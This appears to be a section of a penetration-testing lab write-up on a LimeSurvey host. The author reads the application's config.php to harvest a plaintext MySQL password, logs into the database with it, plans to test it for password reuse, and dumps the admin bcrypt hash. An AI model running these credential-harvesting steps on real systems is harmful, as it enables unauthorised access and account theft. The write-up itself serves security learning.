MySQL


Checking for DB credentials after performing a manual system enumeration

$ cat /var/www/LimeSurvey/application/config/config.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
|    'connectionString' Hostname, database, port and database type for 
|     the connection. Driver example: mysql. Currently supported:
|                 mysql, pgsql, mssql, sqlite, oci
|    'username' The username used to connect to the database
|    'password' The password used to connect to the database
|    'tablePrefix' You can add an optional prefix, which will be added
|                 to the table name when using the Active Record class
|
*/
return array(
	'components' => array(
		'db' => array(
			'connectionString' => 'mysql:host=localhost;port=3306;dbname=limesurvey;',
			'emulatePrepare' => true,
			'username' => 'limesurvey_user',
			'password' => 'EzPwz2022_dev1$$23!!',
			'charset' => 'utf8mb4',
			'tablePrefix' => 'lime_',
		),
		
		 'session' => array (
			'sessionName'=>'LS-EYFVWDSAKOIAECZM',
			// Uncomment the following lines if you need table-based sessions.
			// Note: Table-based sessions are currently not supported on MSSQL server.
			// 'class' => 'application.core.web.DbHttpSession',
			// 'connectionID' => 'db',
			// 'sessionTableName' => '{{sessions}}',
		 ),
		
		'urlManager' => array(
			'urlFormat' => 'path',
			'rules' => array(
				// You can add your own rules here
			),
			'showScriptName' => true,
		),
	
	),
	// For security issue : it's better to set runtimePath out of web access
	// Directory must be readable and writable by the webuser
	// 'runtimePath'=>'/var/limesurvey/runtime/'
	// Use the following config variable to set modified optional settings copied from config-defaults.php
	'config'=>array(
	// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
	// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
	// on your webspace.
	// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
		'debug'=>0,
		'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
		// Mysql database engine (INNODB|MYISAM):
		 'mysqlEngine' => 'MYISAM'
 
,		// Update default LimeSurvey config here
	)
);
/* End of file config.php */
/* Location: ./application/config/config.php */

DB credential identified; limesurvey_user:EzPwz2022_dev1$$23!! I will also test the password for password reuse

Session


www-data@marketing:/var/www/LimeSurvey/application/config$ mysql -ulimesurvey_user -p
Enter password: EzPwz2022_dev1$$23!!
 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 81
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mysql> 
mysql> use limesurvey
use limesurvey
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed

Session established

mysql> select users_name,password from lime_users;
select users_name,password from lime_users;
+------------+--------------------------------------------------------------+
| users_name | password                                                     |
+------------+--------------------------------------------------------------+
| admin      | $2y$10$QxdVgZGY9odLkWsUYF7dNOkI.STdeEWnUiUse/9rkI.lg7T3QI5UG |
+------------+--------------------------------------------------------------+
1 row in set (0.00 sec)

This is the admin user’s credential hash, but it’s already known; password N/A